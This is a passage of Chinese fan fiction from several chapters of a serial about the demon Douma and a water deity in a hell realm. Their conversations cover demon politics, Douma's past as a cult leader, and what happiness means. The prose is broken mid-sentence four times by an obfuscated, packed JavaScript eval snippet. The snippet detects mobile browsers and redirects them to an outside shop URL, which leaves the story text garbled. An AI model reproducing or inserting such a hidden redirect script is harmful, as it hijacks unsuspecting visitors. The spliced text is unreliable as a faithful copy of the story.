我正想着应当如何应对这位不速之客,身边就传来了那只鬼欢欣雀跃的声音: “诶呀呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我不禁瞥了一眼旁边那只好像已经很努力坐的端端正正但依然还是一副没骨头样子的鬼…… 唉,鬼比鬼得死。 正在走神,就听那位鬼剑士缓缓开口: “你……熟稔武家礼仪?” 我双手置于身前,轻轻躬身道:“是,黑死牟大人,请容我重新介绍下自己。我叫染,也曾在人世生活过,与江户城的柳生家有些关联,听闻祖上出过一位名为柳生三严的剑士。但我并未有幸修习剑术,只是武家的女子,自幼要遵从起码的礼仪和义理罢了。” “江户的柳生家…也是名门望族,难怪如此。”黑死牟大人不动声色的审视着我,“但你…既有鬼血,又非人类…我虽化鬼多年,却还未见过如此存在…” “实不相瞒,我原本是江户城外荒川神社所供奉的水神,因为得到了人类巫女的灵魂,才有幸拥有了这具灵体。而赋予我灵魂的巫女,是柳生家的小女儿。”我笑了笑,“这可能有些难懂,您只需要知道我是个神灵,也是童磨大人的眷属,这就够了。” 我想黑死牟大人大概是堕入地狱后三观也得到了不少锻炼,因此并未显得多吃惊,只是目光深沉的看向我身边那只笑嘻嘻的鬼。 “童磨…你…竟连神灵也敢亵渎吗?” “诶呀,黑死牟大人,人家本来也是神之子嘛~”童磨笑的毫无廉耻,“况且小染是真的很能干啊,对鬼血也没有排斥呢。啊,”他用扇子支着下巴,一副天真无邪的样子,“咱们也没有说过,神灵不能当眷属这种事吧?“ 我想黑死牟应该是习惯了这神棍上弦的日常不靠谱,依然没有多说什么,只是沉声道: “此地的猎鬼人覆灭后…群鬼已经开始骚动…你,到底如何打算?” “还需要什么打算嘛?”童磨无辜的摊摊手,“人家都已经下地狱了,可没空管这些事。就像先前那样让他们去互相杀一杀,自然就分出地盘了。再说啦,用不了血鬼术的鬼,和人类有什么区别?” 黑死牟摇头道:“此地应该只有你我两位上弦…不能放任不管。你…最好仔细考虑一下这件事,再来给我答复。” 53. 神之子(4) “我觉得这事不太对啊。” 送走黑死牟大人后,我走到檐廊下,对那只歪在软垫上的鬼说道。 他看起来正专心致志的…隔空种莲花? 院子里那个注满水的温泉池子,正这边冒出一簇莲叶,那边冒出两朵花,当然都是冰做的,但那只在某些方面心理年龄停留在八岁的鬼依然玩的乐此不彼。 于是我顺手把茶盘和双六也端了过来。 “童磨大人,你们那个血鬼术,是鬼都能用吗?” “那是无惨大人的血所赋予的能力啦。”他动动手指,面前的空气中生长出剔透的莲蔓,向着四周蔓延开来,“无惨大人自己虽然很少用血鬼术,但他的血有着改变体质的功效哦,只要是转化成功的鬼,都能掌握自己独有的血鬼术,得到的血越多,能力就越强。不过也和自身的努力有关啦,人家可是一直都非常努力,最后才能成为上弦呀~” “那就奇怪了,为什么在无惨大人的血失效后,你依然能用血鬼术?” “诶?”童磨惊讶的看了我一眼,仿佛我问了个傻问题,“那当然是因为我是神之子嘛!再说小染又不是不知道,人家做鬼格外有天赋,哎呀,真是没办法~” “……我记得刚来地狱时,你第一次和巡路罗刹战斗时,通过吃掉我的肢体获得了我控水的能力。但在那之前,你依然单杀了一只罗刹。”我问,“那时你就能使用血鬼术了?” 那些冰做的莲蔓已经快要长成树了,还有一些往地下钻去,我不得不扒拉开一些。 “那个啊…”鬼若有所思的说,“不是血鬼术哦,人家的血鬼术是在遇到小染后才恢复的。如果硬说的话,那个只是这些年养成的战斗本能罢了,因为即使是地狱里的东西,和我见过的鬼也有相似之处哦,比如也有流动的血或者灵力,那样的话,只要冻住不就好了嘛?只是那么想着就做到了,所以还是人家有天赋嘛~” “可能还真的是天赋。”我认真的看着他,“我听说过,有些存在就是特别能适应地狱的环境,原因说不清楚,可能和灵魂的本质有关吧,比如我是神灵,即便在这里,我也有控制雨水与河流的能力。而童磨大人恰恰心念通透至极,毫无恐惧或执着,所以能迅速驾驭这里的力量。” “这样吗?人家还以为是小染作为神灵格外有营养的原因呐。”鬼舔舔嘴唇,露出个无辜的笑容,“毕竟人家之前也没吃过神灵嘛~” “那么现在问题就来了。妓夫太郎通过你的血重新恢复了血鬼术,先前黑死牟大人就提醒过,赐予血液乃是鬼王之举。”我皱眉道,“如果这件事被你那些失去了血鬼术,又从禁锢中刚刚摆脱出来的同类所知晓,你猜他们会怎样?“ “小染想的太多啦。”童磨用扇子掩着脸,轻笑道,“鬼和鬼的差距,有时候比人和鬼都要大。就算是十二鬼月的下弦,在上弦们眼里也是和人类没什么差别的弱小的鬼,数百年来从未有下弦能够挑战上弦,更别说是这些连血鬼术都用不了的普通鬼啦。” “我说的并不只是战力的差距问题。” 我将双六棋子在棋盘上慢慢摆开,“童磨大人自己是怎么想的呢?你想过……成为第二个无惨大人吗?” 肆虐生长的冰莲突然停住了,我抬起头,看到童磨正盯着我,像冰一样剔透而华美的眼睛里没有任何情绪。 “小染呐……”他嘴角微微弯起,“你可真是个坏孩子呀,竟然说出这么僭越的话嘛?” “我又不是鬼,才不在乎什么僭越不僭越。”我摊摊手,“而且既然是你的眷属,就必须为你考虑,童磨大人你迟早要面对这个问题呀。和鬼杀队这一战的事很快就会在你那些同类中间传开,黑死牟大人很可能也已经有所耳闻,他让你仔细考虑一下,你确定他不是意有所指?” 童磨依然似笑非笑的看着我,“那么小染怎么看这件事呢?人家想听你说说看。” 我低下头,摆弄着棋盘上的棋子,“我在江户存在了百年,虽然作为神灵一直不太能理解人类的事,但将军和大名们之间的明争暗斗恐怕不亚于鬼,甚至有过之无不及。但凡是权力之争,都免不了全力以赴、绞尽脑汁,也躲不开血雨腥风、万事成空,人类的生命只有短短几十年,这样度过也未免太过痛苦,但权力又像美酒,让人疯狂而不自知,最终沦陷其中,尸骨无存……不过说到底这只是人类的事,我不清楚鬼之间是怎样的一种关系,我只想提醒童磨大人,地狱这个地方,是靠堕入其中的存在的执念、欲望和恐惧为食的,请您务必不要忘记这一点。” “说起来,也不是没有好奇过呢。”童磨悠闲的拿起双六的骰子,“毕竟那些达官贵人也是我的常客嘛,今天这个抱怨那个抢了他在京里的风头,明天那个诅咒这个不得好死,我听的都腻了,也实在想不通他们为什么为了这么点利益做尽蠢事,最后搞的身败名裂,实在是可怜呐。”他装模作样的掉下两滴眼泪,“连无惨大人也一样,一千多年来除了造出一群没什么用的鬼,就是找那根本不存在的花,最后还被猎鬼人端了老巢。唉,真是想想就令人伤感~” “据我所知,大名们的统御之道是非常复杂的事,也是需要看天命的。”我叹息道,“童磨大人聪慧通透,不执迷这些是再好不过了,无论你做出什么选择,我都会站在你身后支持你,但黑死牟大人那边,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但是,”他眨了下眼,“如果是人类发现的,就另当别论了。人类有各种炮制药材的办法,万一哪个上弦找人把那花做成什么认不出的样子自己私吞掉,比无惨大人先一步成为完美的存在,诶呀呀,那可是……” 我忍不住笑了出来,“所以你们一群上弦就这么陪他玩了几百年?这么消极怠工真的可以吗?” “怎么能说是消极怠工?”童磨大人一本正经的说,“像猗窝座阁下就在很认真的找花,人家只是不擅长探知和搜寻而已。” “是啊是啊,”我的注意力终于被他在画的一堆格子吸引过去,“你这是在干嘛?” “是‘绘双六’的棋盘哦~小染你看,”他兴致勃勃的说,“从这里‘遇到无惨大人变成鬼’开始,格子里可以有吃掉三个人五个人十个人,吃掉一个柱两个柱三个柱,还有获得一种两种三种血鬼术…这样的游戏规则,只要轮流掷骰子的话就可以玩了,啊,这个做好后肯定比江户名所或者和歌那种有意思多啦~人家可真是个天才呀~” “……我看童磨大人是闲出毛病来了!”我咬牙切齿的说,“明天跟我去趟鬼杀队驻地那边,帮我找东西!” 54. 神之子(5) 地狱这地方的好处就是没有太阳,这大概大大增加了鬼这种生物的活动时间和活动范围。在前往先前那片战场的路上我就察觉到四周有些若隐若现的气息,但可能是过于忌惮我身后跟着的那只鬼,这些气息一直保持着相当远的距离。 然而望着雪地上摊开的一堆青铜似的碎块,我陷入了沉思。 某位养尊处优的前上弦大人一脸委屈走过来,嫌弃的把几块碎片丢在我面前。 “这算什么事嘛?”他抱怨,“完全不想碰这些东西呢。再说都已经炸成这样了,还要捡回去吗?让人家这么远跑来就为了这种事,小染好过分呐~” 我翻个白眼,“我又没有童磨大人有钱,东西当然是能捡就捡。况且是鬼杀队的柱用过的武器,还不是日轮刀,你就不好奇这东西的运作原理嘛?” 这话果然吸引了那只鬼的注意力,于是也站在我身边对着一地碎片仔细端详起来。 这些碎片正属于那三名战国柱中的岩柱·修罗院千越所使用的法器——时轮。 在之前在鬼杀队驻地的“试炼”和最终的那一战中,我对这武器上腾起的熊熊业火以及对灵体的威力记忆犹新。这武器应该也是由打造日轮刀使用的矿石制作,但却呈现出青铜般的外观和质感,是如何做到的呢? “应该是附有某种法术吧,听说鬼杀队的武器本身也有特定的人来锻造啦。”童磨用扇子指着一块碎片给我看,“这里有接缝,上面的纹路也是相连的,小染也许可以试着拼一下呢?“ 一时半会我也没有头绪,只能叹口气,拿出一张白布铺在地上,把找到的碎片一一放好,用布兜着拎起来。 还真是…沉啊… 但总不能逼着一只鬼帮我拎这东西。我只好再次召唤出一道水流托着,几步追上了那只已经准备往回走的鬼。 “明天我还要再来一趟,看看还能不能找到其他的日轮刀,万一能派上用场呢?” 童磨抖着扇子笑起来:“不愧是小染呐,这是打算用鬼杀队的武器来对付鬼?但人家可不想在屋子里堆满猎鬼人的东西呢。” “切,我放到别处去,不用你管。“ 再次穿过那片都是废墟的城下町,四周那种窥视的气息更明显了些,好像残垣断壁里藏着无数双发光的眼睛。 像是狼群一样的鬼。 我皱了皱眉,刚把手按在刀柄上,就听一旁的半截柱子后传来一个颤巍巍的细小声音: “童…童磨阁下?” 我拔刀指向那个角落:“什么人?给我出来!” “小染,稍安勿躁嘛~”童磨不紧不慢的说,“这位又是人家的老朋友呢~” 从柱子后面哆哆嗦嗦爬出来的,是那天我看到的矮小老者,脸长的好像般若鬼似的东西。 “这不是半天狗阁下嘛,您怎么也沦落到这种地步啦?”童磨笑眯眯的说,“看样子您是只能以这副样子见人了?真是太可怜了,一定很痛苦吧?” 那老者涕泪交流的哭起来:“童磨阁下…总算是见到您了…咱们上弦这是全都堕入这黄泉之国了…真是惨剧啊…惨剧啊…” …行吧,我已经习惯上弦里长什么样的都有这件事了。 “是啊,是啊,”童磨哭的比那老者还伤心,“半天狗阁下比我先走一步,真是让人家难过了很久呢~诶呀,当初上弦集会时的情景还历历在目呢,您和玉壶阁下都是那么健朗~” 名为半天狗的鬼伏在地上,又往前爬了两步,抽泣的好像我俩在当街虐待老人。 “真是一言难尽…一言难尽啊…我们这些鬼在此处受尽屈辱…那些该死的猎鬼人…竟如此欺凌我们…可怕,真是可怕啊…” 我留意到在他哭泣的时候,一些悄无声息的黑影在慢慢接近,于是不动声色的退到了童磨身后。 这两只鬼叙旧叙的还挺上瘾,童磨很好脾气的任由那老者哭诉个没完,听的我直想犯困。 “童、童磨阁下…”半天狗抽噎着说,“听…听其他鬼说…您的血可以让大家恢复血鬼术…看、看在昔日同僚的份上…能不能…能不能请您…把血分给我们一点?“ 我握紧了刀柄。四周这些黑影多数只是影子,但可能因为执念的缘故,有一部分拥有了较为实体化的灵体。不过目前看应该不是大问题。 正计算着该从哪几个开始砍,就听童磨为难的叹了口气。 “诶呀,半天狗阁下,血这种小事不算什么,但您是真的考虑好了嘛?” “呜呜呜…只要能恢复血鬼术…” “不得不提醒阁下,这就是您考虑不周的地方了呢,“上弦之贰很是贴心的说,“从其他鬼那里接受鬼血,可是对那位大人的背叛哦,您知道我一向对那位大人最忠心不二了,我怎么能眼看着身为上弦的您做出如此的堕落之事呐?” 半天狗的抽泣声变成了一串惊恐的哀鸣:“咿咿咿…不…我不会…我怎敢背叛那位大人…” “说的正是啊,”童磨擦了擦同情的眼泪,真诚的说,“那位大人虽然已经堕入地狱,但依然是那位大人呢,万一他知道您刚下地狱就背叛了他,诶呀呀…那可真是…” 叫做半天狗的鬼往后瑟缩起身体,抖成一团,好像听到了什么无比恐怖的事。 我开始有点好奇那位鬼王究竟是何等人物,竟然手下的鬼连死了下到地狱,提起他都还会怕成这样? “虽然不知道诸位从哪里听来的这种流言,但这真是对人家不折不扣的污蔑呢。”童磨挂上一脸痛心疾首的表情,微微提高了声音说,“如果还有谁相信这种无稽之谈,大可以自己来试一试,我的血是不是真的能恢复血鬼术嘛。但要事先声明,是你们协迫我做出这种僭越之事的,那位大人如果知道了,怪罪下来,可不是人家的责任哦~” “但,但是上弦大人,”不远处还是有个男子的声音结结巴巴的说,“您身边那个女人…身上也有鬼血啊,我们看到她好像能使用血鬼术…” 有两个鬼从阴影处走了出来,一个打扮的像个和尚,一个是拿手鞠的女孩子。说话的是那个和尚。 我实在有点忍无可忍了:“你哪只眼睛看到我用的是血…” “能用血鬼术,自然因为她是厉害的鬼嘛。” 童磨打断了我的话,摇着扇子不紧不慢的说,“还是说你们这些下级鬼现在连人类和鬼都分不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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那女鬼爆发出一阵高亢的尖叫,像是看到了什么怪物,手脚并用的拼命后退。后面地上趴着的鬼却一把扯住她,语无伦次的说,“大、大人!是他们,就是他们污蔑上弦大人!我们都听到的,他们说看到了…看到了…” “看到什么了呢?”童磨故作惊讶的问。 “什么也…什么也没看到!”趴着的鬼明显抖了一下,随即死死按住了那完全瘫软的女鬼,“都是她的错!都是他们的错!小的…小的会帮上弦大人处理好的!”他抬起头,向周围的鬼呲牙咧嘴的吼道,“还愣着干什么?!这种污蔑上弦大人、背叛那位大人的叛徒,你们还不赶快动手?!” 四周的群鬼突然动了起来,像是一群勉强维持着人形的怪物,此时终于扯下来了伪装,他们扑上去,用嘴撕咬那只女鬼的灵体,像是活着时撕咬人类的□□。很快,那女鬼的身影竟真的变得稀薄起来,最后消失在不知道哪只鬼的口中。 我第一次真实的看到鬼是怎样的一种存在,几乎不敢相信自己的眼睛。 此事带来的震撼太过巨大,导致我在回去的路上长久的失语。 猎鬼人错了吗? 四百年来镇守着这群恶鬼的早云他们,错了吗? 童磨错了吗? 我……错了吗? 55. 神之子(6) 我在住处附近的树林里找了个树洞,把那些‘时轮’的碎片丢了进去,顺便加了个简单的封印。回到屋子里时,看到童磨坐在檐廊下,地上铺开了他那张画了一半的绘双六棋盘。遇到了这种惊心动魄的事,他竟也完全没有任何焦躁或担忧,甚至可以说毫无反应,依然满脸轻松的执笔在那张棋盘上勾勾画画,还时不时丢个骰子,好像在试玩一样。 “你之前说的对,”我靠着柱子坐下,“鬼比人难应付多了。” 童磨一脸莫名的抬起头看我:“小染说的是今天那种杂鱼吗?有什么难应付的?” ……万事不过心,也是一种才能! 我叹了口气,“我是不是给你添麻烦了?一时情急,差点说出我用的不是血鬼术这件事。” “小染明白就好,”他勾起嘴角,“被一群下级鬼知道你是个神灵…诶呀,那大概会比一桶稀血还能让它们疯狂吧。” 我有点沮丧:“除了童磨大人和小梅他们,我之前没见过别的鬼嘛。我觉得你们都很正常啊,就连黑死牟大人看上去也是相当优雅严肃的人,我心里从来没觉得你们和人类有什么不同。但今天那些鬼和你们完全不一样,说句实话,他们更像是动物,只遵从本能而行动……” 我话还没说完,那只鬼就拍着地板笑起来。 “哈哈哈哈…小染真是笨到让我想哭啊…你笨成这样,是怎么在地狱里活了这么久的呀?” 我不服气的说:“为什么啊,我怎么笨了?” “会说出鬼和人类没有不同这种话,还不是笨嘛?”童磨笑嘻嘻的说,“诶呀,我忘了,小染见过的都是上弦吧。但即使是上弦,无惨大人当初在挑选时,看中的也都是他眼中最不像人类的特质。正因为我是神之子,无惨大人才格外对我的才能抱有期待哦。” “可是经过这么久的相处,我没觉得童磨大人有什么不像人的地方呀?”我想了想,“你除了脑子奇怪一点,人品差了一点,话多了一点……好像也没什么特别的?嗯……吃得多算吗?” 那只鬼忽然安静下来,他盯着我,表情有点诡异。 “小染是真的觉得,我没有什么特别之处嘛?” “诶?”我有点弄不清他的意思,“要说特别之处,大概就是你特别聪明,很有血鬼术的天赋,而且个性活跃积极,还很率真,这些都是很珍贵的品质呀……哦,我明白了,你是想说你感受不到人类的情感这件事吗?” 望着他那双剔透的眼睛,我忍不住笑了: “在山川河流里诞生的神灵身上,这样的情况也不算罕见,毕竟谁生来就能懂得人类的心思?我一开始也仅仅依靠他们的心跳和血液流动声来分辨他们的情绪变化,但他们为什么哭,为什么笑,我也搞不清啊。后来是因为有人把自己的灵魂给了我,我才能理解人类的情感变化,但也花了很长时间呢。童磨大人虽然不懂人类的情感,却还是一直在极乐教努力帮人们解决各种烦恼,真是很不容易呢。要知道我有阵子可一点都不喜欢人类,看到他们就烦,要不是为了他们供奉给我的食物,我才懒得理他们呢,哈哈哈……咦,你那是什么表情啊?” 那只鬼一手托着腮,脸上干脆没了表情。 或者与其说没表情,不如说是一种茫然。 “但我和小染不一样,我最初是人类哦。” 他轻声说道,似乎想起了什么久远的事。 “是我那愚昧的父母说,我的头发是无垢的白色,我的眼睛里有彩虹,所以我一定能听到神明的声音。但我从来没有听到过神的声音,只是顺着他们说话而已。” “每天来的全是些哭哭啼啼的大人,不是死了父母,就是死了儿女,要不就是庄稼被水淹了,房子被火烧了,病到活不下去了,啰啰嗦嗦的说一大堆这种事后,就要我指引他们去极乐世界。我真的被他们蠢哭了,世上哪有极乐世界嘛?人死了就是死了,连这种道理都不懂,脑子那么笨一定很难受吧,真是太可怜了……我觉得我一定是为了拯救这些可怜的人而诞生的,让他们获得幸福就是我的使命……” 我的脑海中突然出现了某个遥远的午后,神社的檐廊下,披着黑色法衣的男孩子垂下眼帘,微笑着说: ——我希望大家都能从我这里得到幸福,这是我存在于世上的意义。 那时,阳光还照在他的脸上,他的目光清澈而温柔。 那只鬼依然在絮絮叨叨的说着: “……什么事都要问我该怎么办,为了弄清他们说的事情,我读了很多书哦,不过就算不懂信徒们在说什么,只要说是神明的意思,他们也都会相信啦…每次看到他们那么笨,我都觉得好可怜…但我是很善良的人,没办法不管他们嘛,所以他们伤心难过的时候,我也会陪他们一起哭,看他们变得开心了,我也会陪他们笑,反正对我来说都是一样的。但人类太脆弱啦,赶上饥荒、生病、水灾,甚至是遇到强盗……随便就死掉了。一边说着不想死,一边很容易就死掉了,诶呀,我真是搞不懂,他们活的明明那么痛苦,还是死掉比较幸福吧?” “后来我父母也死了,那些信徒们全都不知道该怎么办,还是我对他们说,父亲和母亲是受到了神的召唤,到极乐世界去啦。他们还真的相信了,呵呵,小染,你说他们是不是特别傻,这种话也会信?” “每天都是没完没了的祷告,但我是真心的想让他们获得幸福,毕竟这是我作为教主的义务啊。结果我发现,只要变成鬼把他们吃掉不就好了嘛,他们就再也不会痛苦难受,还能和我一起得到永生,多么幸福啊。这么好的办法,我怎么之前没想到呢?真是多亏了无惨大人,要不人家还真不知道该拿这群信徒怎么办才好……” 我想起了久远记忆里的那个孩子。神明的孩子,没有名字,没有生辰,没有爱吃的东西,没有父母,除了一座神坛,什么也没有。 我再也忍不住,伸出手摸了摸他的头顶。 那里残留着几缕血色,就像那个孩子榨干了自己的心,所挤出的最后一点血。 那个拥有着山巅冰雪般美丽灵光的神之子,永远停留在了我的记忆里。 不知是神明吞噬了信徒,还是信徒吞噬了神明。 “一定很辛苦吧,童磨大人。“ “诶?”他惊讶的看着我,“小染为什么这么说?人家可是……” “即便是作为神之子,这些工作听起来也太辛苦了……就算是作为神灵的我,也是做不到的呢。”我对他微笑道,“努力的安慰他人,想要带给他人幸福,这样的心是无比宝贵的,童磨大人小时候真是个温柔的孩子呢。” “当然了,人家一直是个温柔善良的人嘛。”鬼满意的笑出了两颗尖牙,像个受到了夸奖的孩子一样。 “可是,他的目光又变得茫然起来,“我明明做了这么多好事,拯救了这么多可怜的人,为什么…为什么那个女孩子却说她讨厌我,说我像傻瓜一样,说我什么也感受不到,活在世上没任何意义?” 那只鬼垂下头看着我,好像受了天大的委屈:“人家想不明白,那孩子到底为什么要用这么恶毒的话来说人家嘛?小染,我……做错什么了吗?” 我一时愣住了。 到底应该怎么跟他说呢?说这一切本来不是他的错?该怪他那贪婪又自私的父母?怪那个囚禁了他一生的万世极乐教?怪那些在绝望中将一个孩子当作救命稻草、死死抓住的信徒?还是怪这连神明都能逼疯的世道? 我深深的吸了一口气。 “有错哦。”我认真的盯着那双七彩斑斓的眼睛。 “连小染也这么说吗?可人家明明…” “童磨大人错在忘了自己当时也只是个小孩子而已,你比任何人都需要得到幸福。” 鬼眨了眨眼睛,好像听不懂我在说什么。 “不论是神明还是人类,在给予他人东西之前,一定要自己先拥有那样东西才行,这是世间一条最基本的规则。如果童磨大人之前没有听说过,我现在就讲给你听。” “譬如说我手里有一杯水,才能把这杯水给你,我有一座房子,才能把这座房子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252332|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你,我有一个池塘,才能把这个池塘给你。我没办法给你我没有的东西。” “幸福也是一样的,自己要先拥有幸福,才能带给别人幸福。”我说,“童磨大人自己知道幸福是什么样的吗?” “我当然知道了。”他不服气的反驳我。 “那你跟我说说看,你自认为经历过哪些幸福的事?不许说信徒告诉你的或者你从书上看来的。” “我嘛……” 聪明的童磨大人想了一会儿,最终有点不确定的说:“饿了的时候…抓到一个稀血的女孩子?我也不确定那是什么感觉啦,反正也感觉不到…” “你看,这不就很明显了嘛,童磨大人自己都不知道什么是幸福,你就那么确定,你给的幸福就是那些信徒们想要的?要知道人类的要求可是五花八门的,每个人对幸福的看法都不一样呢。”我一本正经的说。 “你说的有道理…但人类的脑子那么笨,也许连他们自己都不知道自己要什么呢?”鬼又在试着反驳我,“也许他们需要我带给他们幸福呢?“ “所以我告诉过你,以后这种事要问清楚嘛。”我叹了口气,“不问清楚,你怎么知道对方是想让你送他们去极乐,还是只想听点安慰的话?“ “人家不要,人家为什么要问食物的看法?”他开始耍赖。 “不问就下嘴的结果就很明显喽,”我翻个白眼,“有可能会食物中毒呢。” 那只鬼又开始假惺惺的抹眼泪。 “我明白啦!小染太坏了,其实根本就不存在幸福这种东西吧?虽然人类都想获得幸福,但他们最后全都会死,根本还是什么也得不到吧。这样的一生到底有什么意义呢?还不如我送他们去极乐……” “他们的一生没意义,你的一生有意义啊,童磨大人又不是人类,有的是时间去学习,去理解幸福到底是什么,何必非要管人类的事?”我毫不客气地说,“到底是哪个脑子有病的告诉你,你必须把拯救信徒当作自己存在的意义的?还是说根本就是你自己嘴馋,想找个理由多吃几顿而已?” “……真是的,好像又被小染看穿了呢。” 短暂的沉默后,他扯出一抹古怪的微笑,“作为鬼,这也算是合理的理由呀,无惨大人说多吃人才能变强,也是没办法的事嘛。” “于是就把你们全都吃到地狱里来喽。”我捡起地上的双六骰子抛着玩,“无惨大人可真是太英明了……啊你干什么?” 鬼从身后一揽,就把我圈进了怀里,尖下巴搁在我肩上,在我耳边吐着凉气。 “真叫人伤心呀…小染是个聪明的神灵呢,完全骗不过你嘛…”他的语气好像在抱怨,又像在祈求,“呐,神灵大人,你有那种叫做幸福的东西吗?可以给人家嘛?” 我明白了,这鬼的脑子不是有病,而是分裂成了两半,一半两百岁,一半八岁。 “我的幸福啊……” 我望着死灵地狱混沌一片的天空,努力描绘起来。 “是春天去赏樱,吃好吃的艾草羊羹和樱花团子,是夏天神社门口夜市的酱油团子,在后山看星星升起来,还有酸樱桃和草丛里的萤火虫;秋天的话,是麦芽糖和撒了金木樨的红豆羊羹;冬天嘛,那就是烤红薯了…” “小染是故意的吧,明知道人家是鬼,吃不了人类的食物。”我身后的那只鬼哀怨的说。 “所以你看,幸福本来也是因人而异的东西嘛,我给你的,你不一定需要啊。” 我转过身,郑重其事的看着他。 “我现在能给童磨大人的,只有这个。” 不顾他惊讶的眼神,我用力的抱住了他。 真冷,但鬼的心跳声好像和人类也没有区别啊。 “这是一个安慰。”我说,“因为童磨大人刚刚很寂寞的样子。” “诶?那是叫做寂寞吗?” “对,你回忆起过去时的那种感觉,就叫寂寞。”我拍了拍他的背,“下次谁再敢说你像个傻瓜、活着没意义什么的那种话,看我替你揍他!” 56. 神之子(7) 隔了一天,我去见了黑死牟大人。 在地狱里活了两百年,我自认为在气息的感知和隐藏方面有自己的一套方法,但寻找这位上弦之壹大人还是费了一番周折,他就像融入了黑暗一样杳无踪迹,如果不是体内童磨的鬼血让我能捕捉到那极为隐蔽的鬼气,要找到这位老人家还真不是件容易的事。我不禁有点惊叹,看来这些上弦们果然各有千秋,就连下了地狱,都不像寻常的鬼那样陷于幻境或是直接被魔物吞噬,而是还有余力保全自身,甚至自由行动。看来当初早云他们那支鬼杀队的亡灵四百年来执意驻守在此处,也是有这样的顾虑。 进入一片树木稀疏的林地后,鬼的气息变得浓烈起来,宛如实质一般形成了一个罩子,那强大的威压感几乎让人寸步难行,但通过之后,那种压力就瞬间消失了,空间中的气息变得极为干净,仿佛置身于月夜的旷野。 我也确实见到了那位犹如孤月一般的上弦端坐在一棵枯树下,似在闭目冥思,但依然腰杆笔直,是那副不怒自威的武士之姿。 我就地跪下,行了个拜礼。 “黑死牟大人,您别来无恙?” 上弦之壹睁开了六只赤金鬼瞳,凝视着我。 他的凝视极有压迫感,我恭敬的垂下眼帘,“抱歉,拖了这么久才来见您。” “怎么…是你?”他缓慢的开口,“童磨人呢?” “童磨大人一向心性散漫,为人怠惰,特别是最近沉迷双六不能自拔。”我露出一缕笑意,抬起头来,“所以我就来了。您别介意,他就是个好吃懒做的家伙,对您绝没有丝毫不敬的意思。” “呵。”黑死牟发出一声短促的冷笑,“他…倒是自在。” 我继续说道:“我来此是为了上次您提到的那件事。因为之前曾潜入驻守在这里的那支鬼杀队,也对他们在这四百年来镇守于此的缘由有所了解。现在群鬼脱离禁锢,这里的上弦只有您和童磨大人两位,他又是个办事不牢靠的,所以请恕我僭越,虽然身为女子,却不得不前来与您商讨此事。” “无妨,”黑死牟淡然道,“武家女子…战乱之时…上阵杀敌…也是有的。我不会因你是女子,而等闲视之。况且…你亦是神灵之身。” 看他并无不快之意,我微笑道:“那我就放心了。我来这里只想向您表明心意,童磨大人虽然赐了鬼血给我,但纯属心血来潮的举动,之前给予妓夫太郎的鬼血也被他收回,妓夫太郎和小梅已经作为人类转世重生。所以您完全不必担心赐血的行为乱了上下秩序,他也没有想当鬼王的念头。而我只想带他离开地狱回到人世去,这里的群鬼之后如何安置、是否需要一位新的鬼王,都与我们无关,也不在我们考虑的范围内。” “赐血后…还能…收回?”黑死牟大人略沉下目光,似乎在思考。 “他一向随心所欲,您应该是知道的。妓夫太郎说想跟妹妹一起去转世,但作为鬼却无法通过前往人世的门,童磨大人一时兴起,就把血收回了。”我笑着解释道,“这也可能是因为,地狱是信念的世界,所遇到的考验实际都是堕落者生前的执着和业力所显化,灵体的能力,多半也都取决于心,妓夫太郎一心保护妹妹,为此不惜饮下鬼血变回恶鬼,因此在他强烈希望变回人类时,童磨大人也就回应了他的愿望。我虽然在这里呆了两百年,对这套法则也不是十分能理解,但时常感到惊叹呢。” 黑死牟大人抬起六只鬼瞳。不知为何,我渐渐适应了与他对视,并且感受到对方其实是个沉静内敛的人,那种厚重的气息,和我记忆里那些暴躁又贪婪的大名们完全不可同日而语。 “你与鬼同行…且不怕鬼。”他说,“为何?“ 我微微一笑:“黑死牟大人不会以为我是什么善神吧?身为荒川之神,我最初的形体是一条大蛇,以当地供奉给我的巫女为食,如此数百年之后,才获得了人类的灵魂,戒除了人肉。在我眼里,鬼和人没有太大的不同。难道黑死牟大人身为鬼,却觉得鬼是不好的存在吗?” 他沉默片刻,缓缓道:“鬼…是可悲的存在。” 我困惑的看着他。惜字如金的鬼剑士坐在树木的阴影中,明显不想再讨论这个问题。 真是个奇怪的人呢,我还以为鬼里面都是童磨那种以当鬼为骄傲的。联想起第一次在那支鬼杀队的驻地见面时,他对鬼之一族战败和覆灭的悲叹,我一时弄不清这位上弦之壹大人到底是怎么想的。 “那么黑死牟大人,容我问一句,外面那些逃离束缚后四处流窜的群鬼该如何处置?”我小心的问道。 “自…那位大人时,便是任由众鬼厮杀,如此…才能决出强者。“ 他语速很慢,几乎是一字一顿的说道。 “那时…尚有鬼血约束,也有十二鬼月压制……如今则是不同。你说的门…为何物?” 